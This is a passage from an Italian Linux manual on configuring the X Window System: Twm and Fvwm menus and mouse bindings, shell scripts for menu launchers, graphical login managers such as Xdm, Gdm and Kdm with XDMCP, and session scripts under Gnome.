"gv"                     f.exec     "gv -geometry =630x420+0+0 &"
""                       f.nop
"xpaint"                 f.exec     "xpaint &"
}
```

Nella prima parte vengono definite le caratteristiche generali dell'ambiente. Successivamente si definisce il funzionamento del mouse e in particolare si abbinano delle funzioni alla pressione dei tasti di questo. La cosa più importante è predisporre dei menù in modo da poter avviare i programmi utilizzati più di frequente. L'esempio visto sopra viene ripreso in parte nella descrizione seguente:

```
…
Function "sposta-sotto" { f.move f.deltastop f.lower }
Function "sposta-sopra" { f.move f.deltastop f.raise }
Function "sposta-icona" { f.move f.deltastop f.iconify }
…
```

In questa parte vengono definite alcune funzioni composte a cui viene fatto riferimento più giù, in corrispondenza di azioni con il mouse o eventualmente anche di selezioni all'interno di menù.

```
…
Button1 = : root : f.menu "opzioni-generali"
Button3 = : root : f.menu "programmi"

Button1 = : title : f.function "sposta-sopra"
Button2 = : title : f.iconify
Button3 = : title : f.function "sposta-sotto"

Button1 = : icon : f.function "sposta-icona"
Button2 = : icon : f.iconify
Button3 = : icon : f.iconify

Button1 = : iconmgr : f.function "sposta-sopra"
Button2 = : iconmgr : f.iconify
Button3 = : iconmgr : f.function "sposta-sotto"
…
```

Questa parte definisce le azioni abbinate alla pressione di uno dei tasti del mouse, in corrispondenza di oggetti determinati:

- la finestra principale, ovvero il fondale;
- la barra del titolo di una finestra;
- un'icona;
- il riepilogo delle finestre e delle icone presenti sulla superficie grafica (*iconmanager*).

In particolare, se si preme il primo tasto del mouse quando il puntatore si trova su una parte di superficie libera del fondale, ovvero sulla finestra principale, si apre il menù delle opzioni generali. Premendo invece il terzo tasto si apre un altro menù: quello dei programmi.

```
…
menu "opzioni-generali"
{
"Twm"                    f.title
"Riduzione a icona"      f.iconify
"Ridimensionamento"      f.resize
"Spostamento"            f.move
```

```
"Sopra"                    f.raise
"Sotto"                    f.lower
""                         f.nop
"Messa a fuoco"            f.focus
"Fuori fuoco"              f.unfocus
"Mostra Iconmanager"       f.showiconmgr
"Nasconde Iconmanager"     f.hideiconmgr
""                         f.nop
"Eliminazione"             f.destroy
"Cancellazione"            f.delete
""                         f.nop
"Riavvio"                  f.restart
"Fine lavoro"              f.quit
}
...
```

Il menù delle opzioni generali, permette di attivare una serie di funzioni di Twm. In particolare, vale la pena di notare la funzione '**`f.destroy`**' con cui si può eliminare una finestra assieme al programma in esecuzione al suo interno. Inoltre, si può osservare la funzione '**`f.nop`**' che non fa alcunché e viene usata in abbinamento a delle separazioni tra le voci del menù, quindi la funzione '**`f.title`**' che serve solo a definire un titolo per il menù.[22]

```
...
menu "programmi"
{
"Menu` dei programmi"   f.title
"Terminale"             f.exec      "xterm -font 6x13 -ls -geometry 80x25+0+0 &"
"File manager"          f.exec      "xfm &"
""                      f.nop
"Applicazioni varie"    f.menu      "applicazioni"
""                      f.nop
"Riavvio"               f.restart
"Fine lavoro"           f.quit
}
...
```

Il menù dei programmi è solo una raccolta di richieste di avvio di programmi di uso comune, oltre alla chiamata di funzioni importanti come il riavvio del gestore di finestre e la conclusione della sua attività. I menù possono essere annidati, come in questo esempio, dove la voce '**`Applicazioni varie`**' apre un altro menù di applicazioni.

31.10.2 Fvwm

Il gestore di finestre Fvwm[23] è una derivazione di Twm con superficie grafica virtuale e cornici che danno l'impressione di essere tridimensionali.

Figura 31.151. Il programma '**xfontsel**' eseguito all'interno di Fvwm.

Per fare in modo che, attraverso lo script '**startx**', si avvii automaticamente il gestore di finestre Fvwm, occorre ricordare di modificare il proprio script '`~/.xinitrc`', inserendovi la chiamata all'eseguibile '**fvwm**' (o '**fvwm2**', a seconda di come viene denominato l'eseguibile dalla propria distribuzione). Generalmente è sufficiente avviare il gestore di finestre, senza altri programmi accessori:

```
# start some nice programs

exec fvwm
```

La configurazione generale di Fvwm risiede normalmente nel file '`/usr/lib/X11/fvwm/system.fvwmrc`', oppure '`/etc/X11/fvwm/system.fvwmrc`', a seconda dell'impostazione della propria distribuzione GNU. Eventualmente, ogni utente può definire la propria configurazione personale, nel file '`~/.fvwmrc`', che in tal caso si sostituisce a quella generale.

Anche se esiste sostanzialmente una sola versione di Fvwm che continui a essere sviluppata, sono esistite diverse varianti del programma con configurazioni non compatibili tra di loro. Per questo, a seconda della distribuzione GNU utilizzata, può darsi che i file di configurazione debbano includere il numero più significativo della versione. Nel caso particolare di Fvwm 2.*, i file potrebbero essere '`system.fvwm2rc`' e '`.fvwm2rc`'.

Il file di configurazione predefinito potrebbe essere molto complesso, ma adeguatamente commentato in modo da guidare chi desidera modificarlo. In generale, non è conveniente personalizzare tutto. Di sicuro è necessario sistemare i menù, mentre il resto può rimanere come si trova.

Quello che segue è un esempio di configurazione completa di Fvwm 2.*, ridotta all'essenziale, con la presenza di una barra di avvio simile a quella di MS-Windows 95/98. Di proposito, si fa riferimento a una sola superficie grafica virtuale:

```
#
# Solo una superficie virtuale.
```

```
#
DeskTopSize 1x1
#
# Init: la funzione che controlla tutto
#
DestroyFunc InitFunction
AddToFunc InitFunction
+ "I" Module FvwmTaskBar
#
# Menù principale
#
DestroyMenu Avvio
AddToMenu Avvio
+       "Xterm"          exec      xterm -ls -geometry 80x25+0+0
+       ""               nop
+       "GV"             exec      gv -geometry 630x420+0+0
+       "Xpdf"           exec      xpdf -geometry 630x420+0+0
+       ""               nop
+       "XFig"           exec      xfig -geometry 630x420+0+0
+       "Gnumeric"       exec      gnumeric -geometry 630x420+0+0
+       "Abiword"        exec      abiword -geometry 630x420+0+0
+       ""               nop
+       "Galeon"         exec      galeon
+       "Balsa"          exec      balsa -geometry 630x420+0+0
+       ""               nop
+       "Fine lavoro"    quit
#
# Menù abbinato all'angolo sinistro della finestra
#
DestroyMenu Finestra
AddToMenu Finestra
+                       "Sposta"          Move
+                       "Ridimensiona"    Resize
+                       "Riduci a icona"  Iconify
+                       "Ingrandisci"     Maximize 100 95
+                       ""                Nop
+                       "Elimina"         Destroy
+                       "Chiudi"          Close
#
# Mouse e funzioni abbinate
#
Mouse 1 R A  Menu Avvio
Mouse 2 R A  Menu Finestra
Mouse 3 R A  WindowList
Mouse 0 T A move-and-raise-or-raiselower
Mouse 0 W M   -
Mouse 0 F A resize-or-raiselower
```

```
Mouse 0 S A resize-or-raiselower
Mouse 0 I A move-or-winmenu-or-deiconify
Mouse 0 1 A Popup Finestra
Mouse 0 2 A Close
Mouse 1 4 A Maximize 100 95
Mouse 2 4 A Maximize 100 95
Mouse 3 4 A Maximize 100 95
Mouse 0 6 A Iconify
#
DestroyFunc move-or-winmenu-or-deiconify
AddToFunc   move-or-winmenu-or-deiconify
+ "M" Move
+ "C" Popup Finestra
+ "D" Iconify
#
DestroyFunc move-and-raise-or-raiselower
AddToFunc   move-and-raise-or-raiselower
+ "M" Move
+ "M" Raise
+ "C" RaiseLower
#
DestroyFunc resize-or-raiselower
AddToFunc   resize-or-raiselower
+ "M" Resize
+ "C" RaiseLower
#
# Barra stile Windows
#
Style "FvwmTaskBar" NoTitle
Style "FvwmTaskBar" BorderWidth 3
Style "FvwmTaskBar" HandleWidth 3
Style "FvwmTaskBar" Sticky
Style "FvwmTaskBar" StaysOnTop
Style "FvwmTaskBar" WindowListSkip
Style "FvwmTaskBar" CirculateSkip
#
*FvwmTaskBarGeometry +0-0
*FvwmTaskBarFore Black
*FvwmTaskBarBack #c0c0c0
*FvwmTaskBarTipsFore black
*FvwmTaskBarTipsBack bisque
*FvwmTaskBarFont -adobe-helvetica-medium-r-*-*-*-120-*-*-*-*-*-*
*FvwmTaskBarSelFont -adobe-helvetica-bold-r-*-*-*-120-*-*-*-*-*-*
*FvwmTaskBarAction Click1 Iconify -1,Raise,Focus
*FvwmTaskBarAction Click2 Iconify
*FvwmTaskBarAction Click3 Module "FvwmIdent" FvwmIdent
*FvwmTaskBarUseSkipList
```

```
*FvwmTaskBarAutoStick
*FvwmTaskBarStartName Avvio
*FvwmTaskBarStartMenu Avvio
*FvwmTaskBarStartIcon mini-exp.xpm
*FvwmTaskBarShowTips
#*FvwmTaskBarShowTransients
#*FvwmTaskBarClockFormat %I:%M%p
#*FvwmTaskBarHighlightFocus
#*FvwmTaskBarAutoHide
```

31.11 Accorgimenti per la costruzione di un menù

Quando si vuole realizzare un menù per un gestore di finestre, o per un programma specifico da usare nell'ambiente grafico, possono essere utili degli script che si vogliono annotare in questo capitolo.

Naturalmente, il linguaggio usato per la costruzione del menù potrebbe includere già delle direttive di controllo, tali da rendere superflui alcuni o tutti gli script che vengono proposti qui; pertanto ogni cosa va usata se effettivamente ne esiste la convenienza.

Gli script proposti, che si basano sulla disponibilità di una shell POSIX (o quasi), sono semplificati al massimo; sta poi alla sensibilità di ognuno estenderli secondo le proprie preferenze. Si osservi anche che, se incorporati nelle direttive della configurazione del menù, vanno forse modificati in qualche modo per proteggere alcuni simboli; inoltre, potrebbe essere necessario tradurli in istruzioni disposte su una sola riga.

31.11.1 Verifica della disponibilità

Quando si realizza un menù per facilitare l'avvio di alcuni programmi, può essere utile verificare prima la loro esistenza effettiva, in modo da avvisare l'utente in caso contrario. Infatti, durante il funzionamento in modalità grafica si perdono normalmente le segnalazioni di errore fornite dalla shell o dal sistema operativo.

L'esempio seguente riguarda l'avvio del programma '**`gnumeric`**', collocato precisamente nella directory '`/usr/bin/`'; se il file dovesse mancare o se semplicemente non dovesse risultare eseguibile, si otterrebbe una finestra di terminale con un avvertimento, che rimane evidente per pochi secondi:

```
if [ -x /usr/bin/gnumeric ]
then
    gnumeric
else
    xterm -e "echo Sorry, gnumeric is not available. ; sleep 15"
fi
```

Segue lo stesso esempio, facendo uso però di '**`xmessage`**', al posto di '**`xterm`**':

```
if [ -x /usr/bin/gnumeric ]
then
    gnumeric
else
    xmessage -timeout 15 "Sorry, gnumeric is not available."
fi
```

31.11.2 Verificare che un programma non sia già in funzione

Quando la configurazione dell'ambiente grafico non prevede la presenza di segnalazioni che avvisano dell'avvio in corso di un programma, l'utente inesperto può essere indotto a ritentare l'avvio di qualcosa che sembra non dare segni di vita. Questo tipo di problema si aggrava quando l'accesso alla memoria di massa è relativamente lento e finisce con il rallentare ancora di più l'avvio del programma stesso, salvo alla fine ritrovarsi in funzione tutte le copie richieste in sequenza.

Quando un programma consente al proprio interno di avviare altre copie di se stesso, o di aprire più documenti distinti in schede separate, può essere utile uno script che verifica lo stato dei processi elaborativi appartenenti allo stesso utente:

```
if ps x | grep -v grep | grep "[0-9] gnumeric" 2>&1 > /dev/null
then
    xterm -e "echo Already running ; sleep 10"
else
    gnumeric
fi
```

La stessa cosa, facendo uso però di '**`xmessage`**', al posto di '**`xterm`**':

```
if ps x | grep -v grep | grep "[0-9] gnumeric" 2>&1 > /dev/null
then
    xmessage -timeout 10 "Already running"
else
    gnumeric
fi
```

31.11.3 Informare della fase di avvio del programma

La fase di avvio di un programma può essere resa evidente attraverso l'uso del comando '**`ps rx`**', con il quale si evidenziano i processi residenti in memoria (quindi i processi attivi), appartenenti all'utente. Quando il processo elaborativo raggiunge la quiete e non si trova più a essere residente, di solito ha già mostrato la finestra grafica che lo riguarda. L'esempio seguente si riferisce all'avvio di AbiWord:

```
xterm -e "echo Loading abiword... ; ↩
↪sleep 2 ; ↩
↪while ps rx | grep -v grep | grep \"[0-9] abiword\" ; ↩
↪do sleep 2 ; ↩
↪done" & ↩
↪abiword
```

Come si può osservare, la maggior parte dello script è inserita nel comando avviato da '**xterm**', perché al termine del ciclo di controllo il terminale deve chiudersi.

Si osservi che la verifica fatta con '**ps**' potrebbe dover includere altri programmi, se quello che si avvia, prima di potersi presentare ne deve avviare. Questo succede spesso con i programmi per Gnome o per KDE. Segue un altro esempio riferito all'avvio di Gnumeric:

```
xterm -e "echo Loading gnumeric... ; ↩
↪sleep 2 ; ↩
↪while ps rx | grep -v grep | grep \"[0-9] gnumeric\" ↩
↪|| ps rx | grep -v grep | grep \"gconfd\" ↩
↪|| ps rx | grep -v grep | grep \"bonobo-activation-server\" ; ↩
↪do sleep 2 ; ↩
↪done" & ↩
↪gnumeric
```

Eventualmente, si può decidere di considerare qualunque programma che non sia in quiete, anche se può succedere che la finestra del terminale non si chiuda più, per la presenza di un processo impegnativo indipendente:

```
xterm -e "echo Loading gnumeric... ; ↩
↪sleep 2 ; ↩
↪while ps rx | grep -v grep ; ↩
↪do sleep 2 ; ↩
↪done" & ↩
↪gnumeric
```

31.11.4 Mettere assieme le varie fasi di controllo

L'esempio seguente mostra le istruzioni necessarie a mettere assieme i vari controlli già descritti nelle sezioni precedenti, facendo riferimento al programma AbiWord:

```
if [ -x /usr/bin/abiword ]
then
    if ps x | grep -v grep | grep "[0-9] abiword" 2>&1 > /dev/null
    then
        xterm -e "echo Already running abiword ; sleep 10"
    else
        xterm -e "echo Loading abiword... ; sleep 2 ; ↩
↪while ps rx | grep -v grep | grep \"[0-9] abiword\" ; ↩
↪do sleep 2 ; done" & abiword
    fi
else
    xterm -e "echo Sorry, abiword is not available. ; sleep 15"
fi
```

Come già visto, con '**xmessage**' si può limitare l'uso di '**xterm**':

```
if [ -x /usr/bin/abiword ]
then
    if ps x | grep -v grep | grep "[0-9] abiword" 2>&1 > /dev/null
    then
        xmessage -timeout 10 "Already running abiword"
    else
        xterm -e "echo Loading abiword... ; sleep 2 ; ↩
↪while ps rx | grep -v grep | grep \"[0-9] abiword\" ; ↩
↪do sleep 2 ; done" & abiword
    fi
else
    xmessage -timeout 15 "Sorry, abiword is not available."
fi
```

31.11.5 Innesto di un file system

Per controllare il comando '**mount**' si potrebbe usare un codice simile a quello seguente, in modo da sapere se l'operazione ha avuto successo o meno:

```
if mount /mnt/fd0
then
    xterm -e "echo /mnt/fd0  mounted successfully ; sleep 15"
elif mount | grep " /mnt/fd0 "
then
    xterm -e "echo /mnt/fd0  is already mounted ; sleep 15"
else
    xterm -e "echo Sorry: /mnt/fd0  mount failed ; sleep 15"
fi
```

L'esempio si basa sulla presenza di un file '/etc/fstab' nel quale è previsto il punto di innesto '/mnt/fd0/', che presumibilmente è riferito al file di dispositivo '/dev/fd0'.

31.11.6 Separazione di un file system

Per controllare il comando '**umount**' si potrebbe usare un codice simile a quello seguente, in modo da sapere se l'operazione è ammissibile e se ha avuto successo:

```
if mount | grep " /mnt/hdc "
then
    if umount /mnt/hdc
    then
        eject /dev/hdc
        xterm -e "echo /mnt/hdc successfully unmounted ; sleep 15"
    else
        xterm -e "echo Sorry: umount failed ; sleep 15"
    fi
else
    xterm -e "echo /mnt/hdc is not to be unmounted. ; sleep 10"
fi
```

L'esempio presume che il file di dispositivo '`/dev/hdc`' vada innestato nella directory '`/mnt/hdc/`'; inoltre, si suppone che si tratti proprio di un'unità che può espellere il supporto di memorizzazione (come nel caso di un lettore CD o DVD).

31.12 X: login grafico

X può essere avviato automaticamente, attraverso un sistema di autenticazione grafico, noto come *display manager*. In generale si tratta di un demone che viene configurato in modo da utilizzare una o più stazioni grafiche, locali o remote. Naturalmente, la configurazione predefinita di un sistema del genere, dovrebbe riguardare esclusivamente una sola stazione grafica locale.

È bene sottolineare che, quando si tratta di una sola stazione grafica locale, non c'è alcun bisogno di un sistema del genere e il buon vecchio script '**`startx`**' rimane la cosa migliore per avviare X, evitando in tal modo la presenza di un demone inutile nell'elenco dei processi elaborativi.

31.12.1 Configurazione generale

Nel momento in cui ci si inserisce un sistema grafico per l'autenticazione, prima dell'avvio di X, cambiano le dipendenze che ci sono tra i file di configurazione (script o porzioni di script). Pertanto, una configurazione personalizzata attraverso la modifica del file '`~/.xinitrc`', può rivelarsi inutile.

L'impostazione scelta da questa o quella distribuzione GNU può essere diversa e bisogna vedere i file di configurazione del sistema di autenticazione per sapere cosa succede veramente. Alcune distribuzioni GNU usano in particolare gli script '`/etc/X11/Xsession`' e '`~/.Xsession`' (o '`~/.xsession`'), rispettivamente per la configurazione globale e quella personalizzata di ogni utente. In questo modo, un utente che prima inseriva nel file '`~/.xinitrc`' le istruzioni per l'avvio del proprio gestore di finestre preferito, deve usare invece il file '`~/.Xsession`' per questo, ma nello stesso modo di prima.

Diversamente, in mancanza della configurazione corretta per l'avvio del gestore di finestre o di altro sistema del genere, dopo la fase di autenticazione, si avvia il solito servente X con un terminale e nulla altro.

```
#!/bin/sh
xsetroot -solid gray
xclock -digital -geometry +0-0 &
xbiff -geometry -0-0 &
exec twm
```

Quello che si vede sopra è il contenuto ipotetico di un file '~/.Xsession' predisposto per l'avvio del gestore di finestre Twm.

31.12.2 Utilizzo attraverso la rete

Il programma tipico che offre le funzionalità di un *display manager*, è in grado di fornire anche un accesso attraverso la rete, con il protocollo XDMCP (*X display manager control protocol*), che utilizza la porta 177. Quello che segue è un estratto dal file '/etc/services':

```
...
xdmcp           177/tcp          # X Display Manager Control Protocol
xdmcp           177/udp
...
```

In pratica, un elaboratore remoto deve avviare un proprio servente grafico, con il quale si collega al programma presso l'elaboratore che offre il servizio XDMCP. Il programma richiede l'autenticazione e da quel momento inizia una sessione grafica che riguarda l'elaboratore che offre il servizio, anche se viene gestita materialmente dallo schermo dell'elaboratore remoto.

Per collegarsi a un servizio XDMCP, ammesso che accetti effettivamente richieste di questo tipo, si può provare presso un elaboratore da usare come terminale un comando come quello seguente:

$ **xinit -- -query 172.21.77.253** [*Invio*]

Oppure, direttamente così:

$ **/usr/bin/X11/X vt7 -dpi 100 -query 172.21.77.253** [*Invio*]

In tal caso, l'indirizzo IPv4 172.21.77.253 è proprio quello dell'elaboratore che offre il servizio XDMCP.

Figura 31.167. Esempio di utilizzo di un servizio XDMCP.

172.21.77.253

172.21.77.21

xdm

X

$ xinit -- -query 172.21.77.253

oppure:

$ X -query 172.22.77.253

31.12.3 Avvio

Trattandosi di un sistema di autenticazione, il programma che se ne occupa potrebbe essere avviato tramite un record appropriato nel file '/etc/inittab', ma in generale si preferisce l'avvio di un demone attraverso la procedura di inizializzazione del sistema.

31.12.4 Xdm

Xdm[24] è il sistema di autenticazione grafica tradizionale di X, incluso anche in XFree86. In condizioni normali, i file e gli script di configurazione che lo riguardano, dovrebbero trovarsi nella directory '/etc/X11/xdm/'.

La configurazione predefinita dovrebbe prevedere l'apertura di una sola sessione grafica locale, escludendo l'accesso remoto.

L'avvio del demone '**xdm**', che si occupa di controllare l'accesso e l'avvio di X, dovrebbe essere gestito da uno script della procedura di inizializzazione del sistema; per esempio '/etc/init.d/xdm', o altro simile. Tuttavia, anche avviando direttamente l'eseguibile '**xdm**', si ottiene il risultato (naturalmente lo si deve fare con i privilegi dell'utente '**root**').

Una volta superata la fase di autenticazione in modo corretto, inizia una ***sessione***, controllata dallo script '/etc/X11/xdm/Xsession'. Al termine di questo script termina la sessione e ritorna la richiesta di autenticazione per quella stazione grafica. In condizioni normali, questo script dovrebbe richiamare un altro script usato anche per altri sistemi del genere (per esempio '/etc/X11/Xsession'), che a sua volta dovrebbe occuparsi di avviare lo script personalizzato dell'utente ('~/.Xsession' o '~/.xsession').

```
init-+
     |
    ...
     `-xdm-+-XFree86
           `-xdm
```

Quello che si vede sopra è l'interdipendenza tra i processi nel momento in cui il sistema di autenticazione attende che l'utente si presenti. Si può vedere che è necessaria la presenza del servente X e in particolare si può poi osservare che tutto funziona con i privilegi dell'utente '**root**'.

```
init-+
     |
    ...
     `-xdm-+-XFree86
           `-xdm---twm
```

Nel momento in cui si supera la fase dell'autenticazione, vengono avviati i processi richiesti dallo script '/etc/X11/xdm/Xsession' e dagli altri che questo richiama (per esempio '~/.Xsession'). In questo caso, come si vede nel riquadro precedente, si tratta del gestore di finestre Twm. Naturalmente, i processi avviati a partire dallo script '/etc/X11/xdm/Xsession' hanno i privilegi dell'utente che esegue l'autenticazione.

Il file di configurazione '/etc/X11/xdm/xdm-config' contiene l'elenco degli altri file utilizzati e di altre opzioni:

```
DisplayManager.errorLogFile:    /var/log/xdm.log
DisplayManager.pidFile:         /var/run/xdm.pid
DisplayManager.keyFile:         /usr/lib/X11/xdm/xdm-keys
```

```
DisplayManager.servers:         /usr/lib/X11/xdm/Xservers
DisplayManager.accessFile:      /usr/lib/X11/xdm/Xaccess
DisplayManager.authDir:         /var/lib/xdm
DisplayManager.willing:         su nobody -c /usr/lib/X11/xdm/Xwilling
! All displays should use authorization, but we cannot be sure X terminals
! will be configured to support it, so those that do not will require
! individual resource settings.
DisplayManager*authorize:       true
! Scripts to start the server, start the user session, and reset the server
DisplayManager*setup:           /usr/lib/X11/xdm/Xsetup
DisplayManager*startup:         /usr/lib/X11/xdm/Xstartup
DisplayManager*reset:           /usr/lib/X11/xdm/Xreset
DisplayManager*resources:       /usr/lib/X11/xdm/Xresources
DisplayManager*session:         /usr/lib/X11/xdm/Xsession
DisplayManager*authComplain:    true
DisplayManager*userPath:        /usr/local/bin:/usr/bin:/bin:↵
↪/usr/bin/X11:/usr/games
DisplayManager*systemPath:      /usr/local/sbin:/usr/local/bin:↵
↪/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11

! SECURITY: do not listen for XDMCP or Chooser requests
! Comment out this line if you want to manage X terminals with xdm
DisplayManager.requestPort:     0
```

Nell'esempio merita molta attenzione l'ultima direttiva: la sua presenza fa sì che venga a mancare il servizio XDMCP, pertanto i tentativi di collegamento verrebbero rifiutati. Per attivare il servizio, occorre commentare, o eliminare la direttiva:

```
...
! SECURITY: do not listen for XDMCP or Chooser requests
! Comment out this line if you want to manage X terminals with xdm
# DisplayManager.requestPort:   0
```

Secondo l'esempio mostrato, il file '`/etc/X11/xdm/Xservers`' permette di controllare l'avvio locale del servizio di autenticazione grafica. L'esempio seguente apre una sola sessione che deve collocarsi nella settima console virtuale:

```
...
:0 local /usr/bin/X11/X vt7 -dpi 100 -nolisten tcp
```

Per avere due sessioni, una nella settima console, l'altra nell'ottava:

```
...
:0 local /usr/bin/X11/X vt7 -dpi 100 -nolisten tcp
:1 local /usr/bin/X11/X vt8 -dpi 100 -nolisten tcp
```

Naturalmente, Xdm può servire anche solo per le connessioni remote, attraverso la rete, pertanto si può benissimo disattivare l'accesso locale, commentando le direttive di questo file.

Nella configurazione di Xdm c'è un altro file importante da considerare, che secondo la configurazione già vista è '/etc/X11/xdm/Xaccess'. Questo file serve a delimitare l'accessibilità del servizio XDMCP offerto. La direttiva dell'esempio seguente abilita l'accesso a qualunque indirizzo:

```
...
#
# Any host can get a login window:
#
*
...
```

31.12.5 Gdm

Gdm[25] è un altro sistema di autenticazione grafica conforme al gestore di sessione Gnome. Il principio di funzionamento è lo stesso di Xdm, dove in particolare è possibile scegliere di avviare sessioni differenti, che fanno riferimento a script diversi.

La configurazione e gli script di Gdm si trovano a partire dalla directory '/etc/X11/gdm/'; in particolare, gli script che consentono di selezionare delle sessioni diverse si trovano nella directory '/etc/X11/gdm/Sessions/'. Uno di questi dovrebbe fare riferimento allo script '/etc/X11/Xsession', il quale a sua volta si prende cura di avviare anche lo script personalizzato dell'utente ('~/.Xsession' o simile).

Una volta completata la fase di autenticazione, la dipendenza dei processi attivi potrebbe presentarsi in questo modo:

```
init-+
     |
    ...
     `-gdm---gdm-+-Xorg
                 `-twm-+-ssh-agent
                       `-xclock
```

Per la precisione, i processi avviati dagli script di sessione si trovano ad avere i privilegi dell'utente che si è autenticato, mentre il resto funziona con i privilegi dell'utente '**root**'.

Gdm è realizzato particolarmente per essere usato con il gestore di sessione Gnome; in tal caso, al posto di un gestore di finestre, viene avviato l'eseguibile '**gnome-session**', che a sua volta controlla un gestore di finestre, in base alla configurazione.

In condizioni particolari, Gdm si rifiuta di avviare la richiesta di autenticazione; ciò, in particolare, se manca la possibilità di verificare la presenza di un elaboratore corrispondente al nome restituito da '**hostname**'. Per esempio, l'indicazione corretta del nome, senza il dominio di appartenenza e senza una direttiva '**search**' appropriata nel file '/etc/resolv.conf', può provocare questo tipo di problema.

31.12.6 Kdm

Kdm[26] è un altro sistema simile a Xdm, con l'aggiunta della possibilità di selezionare delle sessioni differenti, come avviene per Gdm. La sua origine richiama il gestore di sessione KDE e i suoi file di configurazione potrebbero risiedere in '/etc/kde2/kdm/', oppure in '/etc/X11/kdm/'. A ogni modo, la struttura di questi file e di questi script è molto simile a quella usata da Xdm; anche in questo caso, il file 'kdm/Xsession' dovrebbe rimandare allo script standard '/etc/X11/Xsession', il quale a sua volta dovrebbe utilizzare lo script personale degli utenti ('~/.Xsession' o '~/.xsession').

31.12.7 Wdm

Wdm [27] è un lavoro derivato da Xdm, i cui file di configurazione e gli script principali si collocano normalmente nella directory '/etc/X11/wdm/'. Anche in questo caso è disponibile la possibilità di avviare sessioni differenti.

31.13 Sessione

Nell'ambito di X, il termine «sessione» si inserisce nel momento in cui esiste un sistema di autenticazione che controlla l'utilizzo della stazione grafica, trattandosi infatti di una sessione di lavoro riferita a un certo utente.

In pratica, si tratta di un'astrazione ulteriore nel sistema di script che servono all'avvio del sistema grafico, dove '/etc/X11/xinit/xinitrc' e '~/.xinitrc' perdono il loro ruolo dominante, per passarlo allo script '/etc/X11/Xsession' e a '~/.xsession' o '~/.Xsession'.

31.13.1 Il problema che motiva il concetto di «sessione»

Le applicazioni che utilizzano il sistema grafico sono sempre più sofisticate e richiedono funzionalità che, da solo, X non può dare. Quindi, per poter usare certi programmi con certe funzionalità, si ha la necessità di avviarne altri, che eventualmente possono non mostrarsi, ma che comunicano con i primi.

Di norma, questi programmi che coadiuvano le attività svolte con il sistema grafico, non possono essere avviati prima che il servente X sia disponibile, inoltre devono operare con i privilegi dell'utente che ha avviato la sessione.

In un certo senso, è come se la sessione grafica corrispondesse all'avvio di un sottosistema personale, che richiede l'attivazione di certi servizi.

Dal momento che i servizi da avviare dipendono anche dai programmi che si intendono usare, diventa complicata e onerosa la compilazione di uno script '/etc/X11/xinit/xinitrc' che provveda a tutte queste cose, nel modo giusto. Pertanto, in un sistema operativo che prevede la grafica e anche le sessioni, lo script '**xinitrc**' si limita ad avviare a sua volta lo script '**Xsession**', il quale però non è da modificare, in quanto a sua volta esegue ciò che trova, in sequenza, nella directory '/etc/X11/Xsession.d/'; ed è lì, eventualmente, che si deve intervenire.

31.13.2 Gli script che controllano l'avvio della sessione

In un sistema che preveda le sessioni grafiche, lo script '/etc/X11/xinit/xinitrc' si limita a eseguire il contenuto dello script '**Xsession**', attraverso l'incorporazione:

```
#!/bin/sh
# $Xorg: xinitrc.cpp,v 1.3 2000/08/17 19:54:30 cpqbld Exp $

# /etc/X11/xinit/xinitrc
#
# global xinitrc file, used by all X sessions started by xinit (startx)

# invoke global X session script
. /etc/X11/Xsession
```

In pratica, in questo modo il lavoro di '/etc/X11/Xsession' viene eseguito formalmente dallo stesso '**xinitrc**'.

Il codice contenuto nel file 'Xsession' incorpora a sua volta, quello dei file contenuti nella directory '/etc/X11/Xsession.d/', secondo l'ordine lessicografico. Per esempio, tale directory potrebbe contenere i file seguenti:

$ **ls /etc/X11/Xsession.d**[*Invio*]

```
/etc/X11/Xsession.d/20x11-common_process-args
/etc/X11/Xsession.d/30x11-common_xresources
/etc/X11/Xsession.d/50x11-common_determine-startup
/etc/X11/Xsession.d/90x11-common_ssh-agent
/etc/X11/Xsession.d/99x11-common_start
```

Al termine, se esiste il file '~/.xsession' (oppure '~/.Xsession'), viene eseguito anche il suo contenuto, altrimenti viene avviato ciò che si considera essere il «gestore di sessione» predefinito.

31.13.3 Gestori di sessione

Il gestore di sessione è un programma che dovrebbe facilitare l'uso del sistema grafico, ma che può anche complicarlo. Il suo compito è quello di consentire all'utente di configurare la propria sessione attraverso strumenti grafici, oltre che di facilitare la gestione dei servizi grafici necessari.

In pratica, se non si amano le complicazioni, si potrebbe usare benissimo un gestore di finestre puro e semplice, mentre un gestore di sessione vero e proprio si trova spesso a dover avvalersi a sua volta di un gestore di finestre.

Se si usa un sistema di autenticazione grafica sofisticato, può essere possibile la scelta tra diversi tipi di sessione, corrispondenti solitamente a script di avvio differenti, in cui può essere richiamato questo o quel gestore di sessione.

31.13.4 Gnome

Gnome [28] (pronunciato «g-a-n-o-m-e»), è un gestore di sessione altamente configurabile, contornato da diversi programmi realizzati specificatamente per rendere l'ambiente uniforme e confortevole. Naturalmente, i programmi realizzati per Gnome possono funzionare anche senza questo gestore di sessione: è sufficiente che siano disponibili le librerie grafiche necessarie.

Il programma eseguibile che rappresenta in pratica il gestore di sessione è '**`gnome-session`**'. Il fatto di avviarlo non produce nulla di particolare sullo schermo grafico, salvo che è possibile configurare l'avvio automatico di altri programmi di contorno, come per esempio il gestore di finestre.

A proposito del gestore di finestre, è da annotare che questo deve essere compatibile con Gnome; inoltre, se la propria distribuzione GNU non organizza bene i pacchetti, le prime volte che si avvia il gestore di sessione Gnome potrebbe essere complicato far partire anche il gestore di finestre. In mancanza d'altro, basta avviarlo da un terminale grafico, eventualmente dopo averlo ottenuto da un menù.

Infine, a proposito della dipendenza dei processi elaborativi, è da osservare che le applicazioni avviate dal gestore di sessione Gnome non risultano discendere da '**`gnome-session`**', ma direttamente dal processo principale (Init). Nell'esempio seguente si vedono diversi processi relativi a Gnome, staccati da '**`gnome-session`**', avviato a sua volta da Gdm:

```
init-+
     |
    ...
     |-enlightenment
     |-gdm---gdm-+-Xorg
     |           '-gnome-session---ssh-agent
     |-gnome-name-serv
     |-gnome-panel-pro
     |-gnome-smproxy
     |-gnome-terminal-+-bash
     |                '-gnome-pty-helpe
     |-gnomecc
    ...
     '-panel
```

Nelle sezioni seguenti vengono descritti brevemente alcuni programmi essenziali per l'uso del gestore di sessione Gnome.

31.13.4.1 Gnome control center

Gnome control center è il programma di configurazione di Gnome. Lo si può avviare attraverso l'eseguibile '**`gnomecc`**', oppure da un menù, attraverso una voce che fa riferimento alle proprietà di qualcosa.

Figura 31.179. Gnome control center nella scelta del tipo di gestore di finestre.

31.13.4.2 Gnome panel

